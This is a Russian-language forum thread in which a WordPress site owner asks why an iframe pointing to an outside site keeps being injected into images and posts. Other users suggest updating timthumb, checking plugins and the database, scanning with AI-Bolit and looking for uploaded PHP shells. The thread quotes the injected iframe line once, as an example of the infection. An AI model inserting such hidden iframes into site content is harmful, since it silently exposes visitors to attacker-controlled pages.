[ZeRoN]

Доброго времени суток, форумчане! Может кто сталкивался с похожей проблемой?
У меня сайт на Wordpress и последнее время к картинкам, которые обрабатываются phpThumb стал добавляться

Код HTML:

<iframe src="http://litr.in/my/"></iframe>

Как пролезают непонятно, пароли на БД и фтп сменил, но все равно история повторяется. Подскажите в чем может быть проблема?

[kennivich]

Тоже в последнее время замучали эти айфрейм вирусы. Помогло http://jdevelop.info/articles/progra...jlakh-na-sajte

[Красавчег]

Как пролезают непонятно, пароли на БД и фтп сменил

Вам надо не пароли менять, а скрипт timthumb обновлять. Старые версии с уязвимостями.

Сам код брать лучше вот отсюда: http://timthumb.googlecode.com/svn/trunk/timthumb.php

[ZeRoN]

Выяснил, что phpThumb тут не при чем, скриптовые ссылки добавляются прям в посты в базе. Но пароли менял, значит зараза сидит внутри.

[izyalex]

Советую проверить шаблоны и плагины - при условии что они ставились не с официальных источников.

[HeavyHell]

заодно соседние сайты, а лучше заказать у кого нить кто занимается поиском и уничтожением

[medvedyalta]

Вот посмотрите _http://www.revisium.com/ai/. Было время нашел Все.. что залили на хост при взломе
P.S Автор скрипта оказывает (услуги) по поиску вредоносного кода на сайте (не реклама )

[ZeRoN]

medvedyalta, пробовал им, скрипт просто виснет и все. а потом 504.

[Dmitriy.Donchenko]

пробовал им, скрипт просто виснет и все. а потом 504.

Если есть доступ к консоли, лучше всего скрипт ай-болит запускать с консоли, или пытаться по папкам запускать, чтобы небыло нагрузки большой.

В первую очередь посмотрите wp-content/uploads/ на предмет .php файлов, быстрее всего просто шелл залил кто-то и балуется.

Также обратите внимание на соседние сайты (если их несколько у вас на аккаунте), возможно взломан один из них.

[voffka]

БД не забудьте посмотреть. У меня была проблемка похожая, ссылка по частям вытаскивалась именно с БД.